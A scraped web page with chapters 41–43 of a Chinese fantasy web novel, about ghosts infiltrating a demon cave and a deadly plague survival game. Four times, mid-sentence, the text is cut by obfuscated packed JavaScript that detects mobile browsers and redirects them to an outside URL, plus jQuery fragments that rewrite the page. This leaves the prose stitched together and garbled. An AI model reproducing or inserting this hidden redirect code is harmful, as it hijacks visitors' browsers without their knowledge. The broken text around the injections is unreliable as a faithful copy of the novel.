;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866765|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向阿九回怼道:“长耳朵的臭茄子,我倒要看看你除了偷听还有什么本事。” 说罢狠狠地“哼”了一声,别过头去,不再正眼看他。 君子报仇,一刻不晚。 阿九懵然一瞬才反应过来,忍不住摇头笑道:“我真是愈发觉得你有意思了。” 小白伸手捂住耳朵。 不听不听,王八念经。 一行鬼朝着山下走去。 小白忽然意识到身边多了个糯米团子,便多嘴问了句:“你也要去吗?” 感觉自己被小瞧了的小草双手叉腰,很严肃地跟他强调道:“别看我是个小孩,实力未必比你差哦!” 阿九笑着附和:“他好歹也是毕宿宫长老,白护法不可以貌取鬼哦。” 小白再次捂住了耳朵。 却在阿九拿出酷似滑翔翼的法器后,不得不乖乖放下双手。 千魔窟离毕宿宫很远很远,靠步行很难抵达。 “飞翼载重有限,两位姑娘体重轻,和小草共乘一个。”说完他笑眯眯地看向一脸屈辱的小白,“白护法嘛,就有幸与在下共乘啦。” 小白敢怒不敢言。 为了主人,我忍! 三个时辰后,几只鬼共同降落在了千魔窟附近。 未行几步,便听到了熟悉的声音。 拨开身前杂草,他们看到跪在地上肉身淌血的宁渊,和站在其对面,手持利剑对着宁渊的江汀浅。 如寒霜般银白的剑身被鲜血包裹,顺着剑尖滴落在地。 江汀浅抬起剑尖,缓缓刺向宁渊腰侧。 便在此时,小白指尖一动,一枚石子从地上飞起,被他朝前一弹,打在了江汀浅的手腕上。 剑刺偏了。 众鬼忙上前制服江汀浅,又去查看宁渊伤势。 他身上非要害的位置,已被刺了三剑,鲜血染红了白衣。 可他却道:“不怪阿浅,是我要她刺的。” 阿九挑眉,心道现在的年轻人玩得挺花。 众鬼再看向江汀浅,发现她脸上满是泪痕,表情比宁渊还要痛苦。 小婵心疼问道:“你们这是做什么?” 江汀浅哭着道:“宁渊想要……化鬼。” “化鬼?为什么?” 原来在他们来之前,宁渊和江汀浅曾想办法引开守灵,闯入山洞过。 但进去才知,除了此次通过测试而被召进洞中的法师之外,活人就算闯入洞中,看到的也只会是黑漆漆的寻常山洞。 千魔窟,只有鬼魂可入。 因而宁渊决定化为鬼魂,进洞救人。 可自杀是无法化为厉鬼的,他只能求江汀浅下手,努力感知痛苦,痛苦越深,化为强大厉鬼的概率便越大。 听她说完,阿九抬手狠狠打了宁渊一耳光。 “多少鬼想活还活不了,你倒好,大好的青春不要了,竟想寻死当鬼?!” 小婵和依依都惊呆了,她们很少看到九长老这样生气。 但他说的话着实在理,想死容易,想活难。 宁渊面色痛苦侧着头,却沉默着,未曾辩解一句。 阿浅哭着替他解释道:“宁渊也不想的,他只是太想救灵恪了……” 阿九却不给她面子,连她也一起骂了:“还有你,若每日相伴的好朋友真的死于你手,你此生还会有一刻心安吗?!” “……”阿浅泣不成声,连连摇头。 一直沉默着的宁渊抬起头来看向她,神色怆然又自责,哽咽着道了句:“对不起。” 知道两位少年此举也是出于无奈,阿九顺了顺气,不再责骂他们。 他望向不远处千魔窟外高大的守灵,邪气笑道:“专业的事,交给专业的鬼做。我倒要看看,这千魔窟里,究竟藏着什么见不得人的东西。” 41. 「神之眼」的破绽 阿九本打算硬闯千魔窟,但临时听到的一个消息给了他新的思路。 他们看见有散修押着两只鬼送给洞前守灵,而后守灵给了那他两块灵石,将一只鬼送进洞内,另一只就地抹杀。 “千魔窟好像在悬赏特殊鬼魂,去参加什么游戏。送进洞里的就是有特别之处的鬼,被抹杀的,是普通鬼魂。硬闯容易打草惊蛇,不如我们试试这条路?” “嗯,先进去再说。” “我有「空穴来风」,小草有「墙头草」,白护法有「百发百中」,都算特殊之处。你们两个……”阿九沉吟着看向小婵和依依,道:“不如就在外面接应我们吧。” 说是接应,但大家都明白,其实就是干等着。 依依自是不愿,指着宁渊和阿浅,争取道:“接应有他们,我也可以同去。我并非寿尽成鬼,而是生人鬼修,转化成鬼的,像我这样的半鬼,一定也算是特别的吧。” 阿九记得有一年林蔓抱回来一个小婴儿,一直留在身边抚养,却不知原来那婴儿竟是活的。 他仍在犹豫时,小白却是眼前一亮,欣喜地问依依:“半鬼?可有生灵之力?” 依依点头。 小白桃眼一弯,“那你也一起吧。” “嗯!” 四只鬼正要行动,一直缄口不言的小婵叫住了他们。 像是下定什么极大的决心一般,她深吸了一口气,目色坚定而严肃地同众鬼道:“虽然我没有天赋技能,但我也有不同于寻常鬼的地方……具体是什么恕我无法说明,请你们相信我,让我也去试试。” 阿九面色严肃,犹豫沉思。 小白也眉头轻蹙,十分为难。 天赋技能和特殊魂体都算特别,可小婵要保密的这个特点,即便不是她为了同去而撒的谎,又如何确认一定是不同于寻常鬼魂的特点呢? 若这特点无法被守灵当做特点,那她将会直接被就地抹杀,风险实在大。 知道大家的顾虑所在,小婵举起手掌坚定又道:“我知道进不去的后果,我保证我没有为了和你们同去而冒险撒谎,请给我一个机会。” 见她目光坚毅无比,阿九一时拿不定主意,为难地看向了小白。 小白同小婵相处的时间要久一些,他知道小婵不是莽撞的性子,沉思片刻,严肃地点了下头。 见其余众鬼也未反对,小婵目色欣然,跟上了众鬼。 在走去千魔窟的路上,依依偷偷将一枚小雷丸塞到了小婵手里,小声叮嘱道:“待会儿如果不成功,你就用这个自保。” 对他们这些低阶小鬼来说,可以瞬间炸开,、将使用者转移到十米之外的雷丸是不可多得的保命法器,小婵心里一暖,捏了下依依的手表示感谢,温柔地笑着对她点了下头。 —— 魔神寝殿,苍弭又在睡觉。 夏月明以一个极其舒服的姿势靠坐在枕头上,眉头却快要皱成八字了。 既然短时间没办法渡化这里的魂,那她就必须尽快离开了。 可苍弭的能力实在过于变态,她的任何行动都逃不过他的「神之眼」,不管离得有多远。 他到底是靠什么感知她的声音和行为的呢? 思绪一团乱麻,她决定先从这些天得到的一些信息开始梳理。 将一切因果串联,归纳成网之后,余下的信息便是突兀之处了。 先前听屠苏提起过“选宠游戏”这个词,她后来特地问过苍弭,得知千魔窟半年前便开始在人间悬赏特殊鬼魂,以各种生存游戏来对这些鬼魂进行淘汰,最终存活者便可成为魔神的宠物。 当时她很好奇为何苍弭会选她做宠物,为了对比还问了句:“我的搭档不可以吗?” 苍弭道:“千魔窟不需要活人。” 当下她便开始担心起李灵恪的生命,无论如何也非要见他一面,亲眼确定他还活着。 苍弭无奈,让屠苏带她见到了李灵恪,他被关在另一座殿内的笼子里,有专人看守。 这便是可疑之处了。 按理说那笼子坚硬无比,凡人之躯根本不可能逃脱,且「神之眼」又能时刻掌握这里的一切动向,为何还要专人看管呢? 结合千魔窟生人勿进的规定,夏月明忽而有了一个大胆的猜想。 “主人,我还想再去看看玩具。” “为何?” “我……我怕屠苏伤害他。” 苍弭闭着眼睛,并未应允。 良久后,他听见夏月明又是翻身又是叹气,便睁眼朝她看去。 看着她单薄的背影,他心中莫名不忍,便道:“只能去半个时辰。” 正绞尽脑汁想办法的夏月明一听顿时心花怒放,欢喜地转过身来,笑眼弯弯对苍弭道:“谢谢主人!” 而后趴着身子从他腿上爬到床外,翻身落地步履轻快地去找屠苏了。 苍弭神色淡淡,侧头望着她,直到她娇小的背影离开寝殿,才再次闭上眼睛。 …… 李灵恪被关在副神殿中一座宽敞空旷的房间内。 夏月明上次来时,只是隔笼看了他一眼,这次故意闹着说要玩玩具,碰不到不算玩。 屠苏无奈挠头,随即感应到了魔神传来的信号,便照她所说,打开了笼门。 夏月明进了笼内,又提出新的要求:“你们出去,你们在这里我没心情玩。反正你们不用看着我们也能知道我们在做什么,不是吗?” 屠苏不悦地冷哼了一声,带着守卫退至房门外。 李灵恪见状目瞪口呆,心里油然生出一股敬佩之情。 “这才多久啊,你连牛角人都能使唤了?!” 夏月明无奈:“还不是出卖尊严换来的。” “要是出卖尊严就能过得这么豪横,我也愿意当宠物!” 没工夫同他贫嘴,夏月明直奔主题道:“你记不记得以前闵大人教我们的阵法——金笼戏雀阵?” 金笼戏雀阵是李灵恪先前伏击林蔓时用的那个阵法,李灵恪听了一脸懵然,不知夏月明为何突然提到这个,而且又关闵大人什么事? 她分明连闵大人的样子都没见过。 但他亦知道他们在此所有的谈话都会被听到,当下也没有直接问,顺着她的话茬道:“记得啊,怎么了?” 夏月明庆幸他一下子就能反应过来,继续道:“当时你想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866766|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用阵法困住我,但是我一点儿事也没有,现在想到你当时震惊的表情,我都还是很想笑。” 她没办法直白地告诉他自己所想,只能以这种隐喻的形式传递给他。 但李灵恪感觉自己脑子都要想冒烟了,也没想通她到底要表达什么,只能干笑两声道:“哈哈,是吧,我也觉得。” 夏月明继续道:“不过后来咱俩斗法的那次你还记得吗?就是姥姥也在的那次,你居然又用那个阵法,还把我困住了!” 上一段是虚构,这一段却是实际发生过的事情,李灵恪好像忽然抓住了一点思路,瞬间便全神贯注起来。 夏月明:“幸好我想到了解阵方法,嘿嘿,你还记得是什么吗?” 李灵恪脱口而出:“负负得正法。” 这解阵方法他当时觉得十分惊艳,直到现在也还急着。 夏月明微笑道:“看来你记性也不错。你会玩拍手歌吗?” 李灵恪:“嗯?会。” “那我们来玩一下吧。” 他刚抓住一些思路,她又转移了话题,他一时又有些摸不着头脑。 不过真的同她“你拍一,我拍一”地玩起来之后,他才发现自己的思路好像更清晰了一些。 他只需提供手,不需念口诀,这给了他思考的机会。 她为什么要给自己说这两段内容呢?一段是没有发生过的,一段是已然发生了的。 第一段话中她认识闵大人,金笼戏雀阵困不住她。 第二段就是他们初遇时的情形。 难道她是想说…… 李灵恪忽而瞳孔放大,他想到了! 闵大人不可能教鬼魂阵法,金笼戏雀阵对活着的人无效,所以第一段情节中的她是人,而第二段相遇时的她变成了鬼。 她是想同他强调人和鬼的区别。 看他若有所悟的样子,夏月明微笑着对他眨了两下眼睛,道:“时间不早,我也该走了。” 说罢她便站起身来,朝着笼门迈步。 这一刻,李灵恪终于领悟了她想告诉他的秘密,他紧握双拳,额头冒汗,紧张得心跳加速,不敢呼吸。 努力淡定地同她说完告别的话后,在她打开笼门的瞬间,他身法灵敏地从她身侧挤了出去。 夏月明默默松了口气,一边关门一边对着笼内原本李灵恪所在的位置道:“我下次再来看你。” 说罢看也不看已经出笼的李灵恪,径自朝着门口行去。 直到她关上大门的一瞬间,李灵恪才敢大口呼吸,擦去额上冷汗。 若他没有领会错,她是想告诉他——「神之眼」看不到活人。 所以只要他不动这里原有的物件,苍弭就没办法知道他的动静。 他跟着她走出笼子,苍弭只能感知到她移动了笼门,不会知道他也出去了。 李灵恪心里直呼“妙哉”,对这女鬼更加崇拜了。 但夏月明走远后,门口守卫立刻便接到了苍弭的指示:“去看看,玩具还在不在笼子里。” 她猜到了他的破绽,可他亦没放过她的破绽。 若宠物利用主人的信任去干坏事,可是要重罚的。 42. 魔域游戏·其一 守卫听令推开房门,以心音传信道:“玩具仍在笼中。” 苍弭问:“在笼中做什么?” 守卫观察了一下如实道:“像往常一样,在笼角画圈圈。” 苍弭沉默一瞬,叮嘱了声:“看好他。” 他感应到夏月明离开笼子时,确实是锁了笼门的。既然玩具还在笼中,说明他的小宠物并没有背叛自己。 苍弭的神色明朗了几分。 夏月明回到寝殿,见他并未责难,心情也明朗了几分。 看来他们的小把戏成功骗过了守卫。 先前他们在湖边商量逃脱办法时,李灵恪曾给她展示过自己带来的法器。 什么飞爪、黄符、木头人……总之在当时看来,对逃离此地都没太大帮助。 但在夏月明决定帮李灵恪暗度陈仓的时候,忽而就想到了这个木头人。 木头人的功能是可以一比一模仿目标的样貌,正是偷梁换柱的好帮手。 于是她便在玩拍手歌时,以口诀提示了李灵恪。 这少年虽然有时呆呆傻傻的,但在关键时刻反应很快,一点儿也没掉链子。 他照她提示,将小木头人塞入笼中,趁夏月明关门后,一边默念口诀启动法器,一边用飞爪上了房梁。 在守卫开门的一瞬,木头人变成了李灵恪,李灵恪变成了李·「神之眼」唯一bug·灵恪。 ——这次犯险证明了夏月明的猜想是对的,「神之眼」确实无法捕捉活人的动向。 这样一来,她的逃跑计划就可以顺利进行了。 趁苍弭不在的时候,她缠着屠苏带她去参观了宝器室。 宝器室在关押李灵恪的副殿旁,这里金碧辉煌,像一座巨大的博物馆。里面陈列着许许多多珍奇的法器。 夏月明两眼放光在其间跑来跑去,就如进了大观园的刘姥姥一般。 她恨不得将这里的全部宝器通通卷走,可惜自己没有乾坤袋,根本装不下,只能趁屠苏不注意的时候,偷偷将两枚精致的小飞镖装进了袖袋。 结果一出门,就看见苍弭神容冷峻地站在门口,似在等她。 他手里拿着那本小册子,一边看一边淡淡道:“偷拿东西很不对。” 夏月明立马抓着袖子低下了头,像个犯错被老师抓住的学生一般。 “宠物不听话,应当……”苍弭说着,又翻了几页查阅起来。 她一颗心瞬时提到了嗓子眼,生怕那小册子上乱写什么严重的惩罚。 便听他淡定地念出了三个字:“打屁股。” “啊?” 夏月明尬住了,自她上小学后,就没被打过屁股。 虽然苍弭身形比他高大许多,在他面前她真如孩童一般,但他外形毕竟是个俊美的成年男子,被他打屁股,心里总觉无比别扭。 她急忙拿出小飞镖来同他道歉,“主人,我知错了,我再也不敢了……” 见她认错态度还算端正,苍弭一时犹豫了起来。 站在她身侧的屠苏却趁火浇了把油:“魔神大人,宠物不能太惯着,不然她会越来越任性。” 夏月明暗暗将屠苏拉入了心里的黑名单,下意识捂住了屁股。 这时苍弭又将小册子翻了一页,道:“这页又说,不能以人的行为准则来对待宠物,若是符合宠物天性的调皮,应以疏导为主。” 夏月明松了口气,对这本书的作者充满感恩。 她将手高高举起,把小飞镖还给苍弭,“宠物知错,谢谢主人。” 苍弭却道:“若你很喜欢,便送给你吧。” 夏月明微愣一瞬,忽而喜上眉梢,难以置信道:“真的吗?!” 苍弭眉眼间似有笑意,淡淡地点了下头:“嗯。” “谢谢主人!”夏月明喜出望外地道了谢,珍重地将小飞镖收入袖中。 看她这样开心,苍弭唇角也忍不住扬起几分笑意。 虽然那笑容浅到几不可辨,但常年与之相处的屠苏一眼便捕捉到了。 怀疑自己看错了,他忍不住揉了揉眼睛再确认了一遍。 没有看错,魔神大人真的在笑! 屠苏皱起眉来看向夏月明,心道看来宠物真有让人心情变好的魔力,连魔神大人都不例外。 谁料她察觉到他的目光后,竟愤恨地白了他一眼。 屠苏一时懵然,这小丫头还有两幅面孔! 气煞他也。 此时他们都将夏月明当成了任性又好把控的小宠物,全然没有意识到,此番盗宝正是这个小宠物有意演给他们看的。 她耍这个小把戏,是为了掩盖自己的真实意图——确定宝器室的位置,好让李灵恪去偷走相机。 若她去宝器室不做点什么,苍弭的注意力便会放在她去了宝器室这件事上,很快就会察觉她的意图。 因而她去了宝器室后,立刻就做出被其他宝物吸引的土包子模样,不让「神之眼」有聚焦到相机的可能。 苍弭抱着夏月明回了寝殿。 两个时辰后,守卫来报说玩具不见了。 苍弭立刻看向夏月明,她再次爆发出了很有层次的惊人演技。 先是震惊地同他确认是不是在说自己的玩具,随后便开始哭闹撒泼,倒打一耙质问是不是屠苏把玩具喂了恶鬼了。 苍弭望着她的目光冷漠幽深,看不出信了几分。 夏月明眼眶湿润,委屈巴巴地拽住苍弭的手指,仰头恳求道:“你会帮我找到玩具的对吧?你保证他不会被吃掉的对吧?” 见她神色中的担忧十分自然,苍弭垂下眼帘,轻轻摸了摸她的头,语气柔和地道:“放心。” 而后他便同屠苏一起去找人了。 屠苏自然是不信夏月明的,她听见他边走边对苍弭说:“笼子没有异常,玩具显然是在开笼门的时候跑出去的,今天只有宠物开过笼门,魔神大人,属下以为定谈是她做了什么手脚。” 直到他们走出殿门,苍弭也未置一词,不知他心里是怎么想的。 他们走后,夏月明摸了摸自己的肩膀唤出诅咒,而后自行拿出小飞镖把玩。 先前试探过两次,她发现「神之眼」除了看不见活人,还看不到诅咒。 几秒后,诅咒在夏月明耳边道:“都走了。” 夏月明缓缓松了口气,举起手来挠了挠头。 这是她和李灵恪的暗号。 几个时辰前,守卫去给李灵恪送灵果,发现笼内的他是木头人假扮的。 于是守卫立刻请示了屠苏,四处寻找。 李灵恪就趁机从房梁跳下,侧着身子从半开的房门直接走出。 神殿很大,他不能在没有建筑物的地方长待,那样会很显眼。 便利用飞爪直接上了房顶,经过一番探索,终于来到了苍弭的寝殿。 他现在是这里最隐蔽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866767|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的存在,像一团有色空气一样。但也要处处小心,一是不能被看到听到,二是不可以让这里的物品因自己而产生变化,否则很快就会被「神之眼」追踪到。 苍弭回到寝殿时,他就藏在房梁上。 房梁很大,他趴在上面可以遮住整个身子。 趁夏月明抬头看苍弥的时候,他刻意给她露了个手势。 夏月明立马意会。 苍弭走后,一人一鬼终于汇合。 但他们不能交谈,夏月明若是有异常举动,苍弭随时可以感知到。 于是当她听到李灵恪笑她方才扮宠物时的幼稚模样时,也只能在心里默默记仇,怼他不得。 她看也不看李灵恪,自顾自地扔起飞镖玩。 李灵恪小声道:“我知道这里有六位神将和六位魔将,夏姑娘,你可有打听到他们当中谁最有可能会去人间吗?我跟踪他找找出口。” 夏月明用右手拇指和食指捏住飞镖,左手在飞镖下比划助瞄。 李灵恪道:“神将在前,魔将在后,七根手指便是指第一魔将了。” 看她扔出飞镖,他便知自己理解对了。 只是那飞镖扔出去以后,到一定距离竟然自动回旋,朝夏月明飞来。 “妈呀!”夏月明慌忙朝旁滚去,才险险避开了就要扎到她脸上的飞镖。 她长长地松了口气,悻然道:“好险,原来是回旋镖。” 糗模样被苍弭感知到了,刚汇报完悲报的守卫看他眉头舒展,还以为自己不用挨罚了。 但他刚松了口气,就听苍弭淡淡道:“神官渎职,剖去神髓,喂恶鬼吧。” 那下属还未来得及告饶,便被身后的屠苏收入了掌心的黑洞之中。 …… 千魔窟,第六魔域。 小婵睁开眼睛,发现自己正躺在一间朴素的民居内。 她揉了揉太阳穴,依稀记得自己通过了千魔窟洞外守灵的检验,被他送入了洞中,而后便昏睡了过去。 怎么来到这里的,又来了多久,却是一点印象也没有。 这时一衣着朴素的黄衣女子推门而入,见她醒了,女子笑着同她打了个招呼。 女子告诉她,这里是千魔窟第六位魔将的地盘。 这位魔将名叫业灾,可以操控各种瘟疫,抹杀一切人鬼妖魔。 被分到这里的厉鬼,都是业灾制定的生存游戏的玩家,他们现在在一个隔绝于世的小村庄里,村庄周围全被可瞬间致死的疫病覆盖。 随着疫病蔓延,玩家们的生存空间也会越来越小,最终整个村子都会被疫病湮灭。 想要活命,只有一条路——成为游戏赢家。 游戏中会有三名玩家已感染不同的慢性疫病,若这三名玩家当中,有谁能将自己的疫病传染给其余所有玩家——包括另外两名疫病玩家——便可终止游戏,获得解药。 不过解药只有一份,这意味着其他被感染的玩家只能在病痛折磨中等死。 或者其他玩家找出这三名疫病玩家,将他们全部抹杀,亦可终止游戏,获得胜利。 小婵听罢震惊不已,“这也太恶毒了……我怎么知道自己有没有感染疫病呀?” 那女子笑着凑近小婵耳朵,近到嘴巴都要亲上她的耳朵后,才笑着道:“是会通过口耳相传的疫病,病从口出,从耳入,就像这样。” 说罢她轻轻朝着小婵耳朵里吹了口气。 43. “拖”字诀取胜! 小婵顿时就觉得胸腔又痛又痒,忍不住咳出一口血来。 她捂住胸腔警惕地后退一步,皱眉瞪向黄衣女子。那女子原先友好的面容上,露出冷漠又诡异的笑来。 小婵当即便反应过来,厉声质问道:“你是疫病玩家?” “不。”女子神秘一笑,声线陡然变成了刚健的男音,“我是魔将业灾。” 话音刚落,黄衣女子骤然变成了一名身着狂放黑衣、气场诡异的青年男子。 男子脚不着地,悬在半空中,诡异地笑着对小婵叮嘱道:“此病每隔半个时辰会咳一次血,若被其他玩家看到,便是疫病的铁证,可要注意哦。” 说罢便在小婵惊恐的目光中消失不见了。 消化完突如其来的一切设定之后,小婵努力镇定下来,决定先去寻找其他伙伴。 不知他们被分到了什么身份。 走出院子,入眼便是一片宁静祥和的乡村景致,完全看不住这里正面临着疫病的危机。 没走几步,她遇到了一名正对着墙角偷偷咳嗽的青衣男子,男子察觉有鬼过来,急忙警惕地转过头。 见来者形单影只,他很明显地松了口气,笑着解释道:“我这是老毛病了,可不是什么疫病,不会传染,你放心。” “哦。”小婵礼貌应声,身体却警惕地后退了几步。 她曾在书中看到过,一些鬼会被死亡时的状态影响,产生伴魂症。比如若死亡时刻曾被浓烟熏呛过,伴魂症多半就是咳嗽了。 但这不足以说明青衣男子没有说谎,在这样危险的竞争环境下,她必须时刻保持警惕,宁可信其有,不可信其无。 意识到她并未信任自己,青衣男子殷切地朝她走近了几步,试图再行解释。 “站在那里别动!”小婵朝他大喝一声,趁他愣神的间隙,赶忙转身跑向了另一条路。 跑到气喘吁吁,她才停下脚步,警惕地躲在墙角观察了一阵儿。 确认青衣男子没有跟来,她稍微歇缓,继续朝前探索。 …… 探索完整个村庄后,小婵才绝望地发现,只有自己被投放到了这个游戏中,其他伙伴分别是什么情况,暂时未知。 游戏目前包括自己在内,一共二十名玩家,皆是厉鬼。 按业灾所说的规则,最终能活下来的只有一个。 这意味着她想要存活,就必须去害别的鬼。 胸腔一阵难受,她再次咳出血来。仓皇四顾,确定没被看到后,她急忙走进一个空房子找到水,将手和脸都仔仔细细地清洗干净,没留下半点血痕。 这时村外的疫病圈子已差不多蔓延到了这个房间外,她不得不向村内赶去,再找新的藏身地。 待毒圈缩到一定程度后,原本以躲避为主的大多数鬼都开始主动出击起来。 有的已在不经意间被传染了疫病,有的开始带头组织大家揪出疫病鬼,一时之间整个村子的气氛变得无比紧张。 一番折腾后,两名疫病鬼被成功揪出,扔去村外疫病区直接处死。 余下鬼魂围坐在村庄中心的大院里互相盯梢,准备等第三名疫病鬼发病时立刻将其拿下。 小婵感觉自己胸腔难受极了,以为自己将要暴露之际,却见坐在她对面的青衣鬼先吐出一地污秽。 眼见暴露的青衣鬼破罐子破摔,当即便朝着左右两侧疯狂咳嗽,将自己的疫病传染给了身旁厉鬼。 原来咳嗽便是他的传播方式。小婵心中后怕不已,幸好自己先前足够警惕,没有中招。 可是问题来了,明明她才是第三名疫病玩家,为何青衣男子身上会有可以传播的疫病呢? 胸腔痛痒难以克制,她来不及思考,趁着众鬼魂缉拿青衣男子的时候,赶紧找了个隐蔽的角落,将血咳出。 青衣男子被封住嘴巴扔去外圈的疫病层,当场七窍生烟,魂飞魄散了。 按理说没有携带疫病的健康鬼魂应该可以直接获胜了,可那疫病圈层仍在不断向内收缩,没有停下的意思。 众鬼魂一时心慌,难道抓错鬼了? 站在鬼群最末尾的小婵不动声色地向后退了一步。 短暂的猜疑之后,场面变得诡异起来,有的鬼莫名其妙开始拥抱身边鬼;有的鬼掰着身边鬼的眼睛凑近对视;有的鬼将自己咬了一半的果子往别的鬼嘴里塞……总之是十分混乱。 在一开始便没想伤害其他鬼,所以主动退后躲起来的小婵有幸避开了大部分鬼的直接攻击。 旁观了一阵儿后,她突然明白过来——业灾说疫病鬼有三个,却没说只有三个。 根据鬼魂们的行为,她推测出在场的所有鬼魂身上,都有业灾传播的不同症状的疫病,且传播方式各不相同。 在这种前提下,胜利的方法就只有让其他所有鬼都感染自己所携带的疫病。 不忍大家这样互相残害,小婵心头难过不已,她眉头紧皱,想要思考出一个让所有鬼魂都不用消散的办法。 如果是练成复颜术后的师父,一定会这样做的。 可如果是师父,她又会有什么办法保住所有鬼魂呢? 思来想去,脑海中一团乱麻,师父回归后的许多片段在乱麻中闪回。在她感觉自己的头快要炸开之际,终于灵光一现。 她想起宫主出关之前,院内所有鬼魂都在为师父将面临的处决而担心。 那时师父曾对他们说过:“船到桥头自然直,没到桥头就先拖一拖。” 就是这个“拖”字诀! 她鼓起勇气从藏身处站了出来,对着大打出手的鬼魂们大声喊道:“住手!这样下去大家都没办法活。就算成功传染其他鬼,自己也早就被打成重伤了!” 这一喊并没有让鬼魂们停下来,反而让部分厉鬼注意到了她这个看起来更好拿捏的小鬼。 小婵一边躲避其他厉鬼攻击,一边不放弃地高声提议:“不如我们挑一个症状最轻的,大家一起感染他的疫病提前结束游戏,停止疫病圈收缩。等他拿到解药后先不要服用,我是鬼医,我可以根据他的解药分析出配方,把解药复制出来。” 倒是有鬼魂思考了一下她的提议,但看她的模样,他们并不相信她有能力复制解药。 所以他们还是选择了武力争取。 小婵又咳出一大口血,魂体已然更加虚弱。 她悲哀地看着大院内的狼狈场景,轻轻说了声“对不起”之后,表情变得坚毅起来,随即捏起拳头,加入了厉鬼们的乱战。 通过方才的观察,她已经挑出了当下战局中的几个软柿子来。 她动作轻柔地闪至软柿子身旁,几招便制服了其中一个,在其耳边道:“你已被我传染,若愿意帮我传染其他鬼,我制出解药后可分你一份。” 软柿子吐出一大口血来。 他们能力弱,原本胜算就不大,心态很悲观。 但在小婵连续传染了三个软柿子后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866768|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无形中便将他们拉拢成了一个群体。 再三掂量之后,软柿子们不约而同地来到小婵身后,响应她的策略。 于是结盟的软柿子们渐渐成了场中最强大的势力。 一个软柿子传染不了,那就两个、三个一起。 最后软柿子战队不断壮大,如同贪吃蛇一般,慢慢将场内所有个体都吸纳成了整体。 在疫病圈子已然缩小到众鬼魂行动受限的范围后,终于,小婵将最硬的一个柿子也感染了。 疫病圈停止收缩,所有厉鬼齐齐咳了口血。 业灾出现在众鬼魂头顶,此刻的他身形有两个成人那么高。 “看来我压错宝了,小姑娘,没想到你还挺聪明,一个会鬼医之术的谎言,就让所有笨蛋都中了计。” 众鬼魂以为被骗,质疑地看向小婵,有的摆起架势,甚至打算大打出手,和她同归于尽。 小婵急忙道:“请相信我,我真的会鬼医术,我会把解药复制出来,分给大家的。” 业灾听罢阴恻恻地大笑起来:“以为你是狡猾,没想到你是真蠢。就算你医术高明吧,这解药的材料可不是随处都有,你如今行动受限,要如何复制?” 小婵防备道:“这你先别管,先把解药给我。” 业灾饶有兴味地看着小婵,挥手将一枚墨绿色的药丸甩给了她。 小婵接过药丸仔细观察片刻,又嗅了嗅气味,而后转身去数身侧厉鬼数量。 经过先前的审判和混战,如今仍然幸存的鬼魂只剩十一个。 小婵从袖袋中拿出一柄刀片仅有半个指节那么大的袖珍小刀来,将解药分成了十二份。 业灾一看皱起眉来。 将其中一份收入袖袋中留做样品后,小婵转身将解药分给众鬼,认真道:“他说的对,我暂时找不到那么多材料来制作足量的解药,但请大家相信我,如果可以离开这里,一个月之内,我一定做好解药,亲手给大家送过去。在此之前,请大家和我一样,服下这小份解药,先控制住病情。” 众鬼魂看着掌心的瓣状药块,心中五味杂陈。 虽然疫病没能完全治好,但这小姑娘的确如她先前所承诺的,用她自己独活的机会,保住了大家。 最先被小婵感染的小鬼犹豫良久,仍是不愿吞下药块,反将药块还给小婵:“小婵姑娘,我本来也也活不下去的,这解药我还是不吃了,起码能让你多活一些时日。你活下去,比我活下去重要。” 一番话似是点出了其他几名犹豫小鬼纠结的点,他们也纷纷将手里的药块献出,还给小婵。 “是啊小婵姑娘,按照游戏规则,我们本也是要慢慢消散的……若因贪这一时活路,反而害你也……就太不值当了。” 已经把药吞下的小鬼见状就非常尴尬,这怎么整得自己好像很自私一样。 小婵看着众鬼伸出的掌心,心头泛起阵阵暖意,莞尔一笑,露出两个好看的小酒窝,柔声道:“谢谢大家的好意,我很感动。但请你们务必服下解药。没有谁比谁更重要,也没有谁为谁牺牲一说,我们不正是因为相互配合才得到这枚解药的吗?请大家相信我,我一定会遵守承诺,让大家都好起来。没准儿……还能一起投个好胎。” 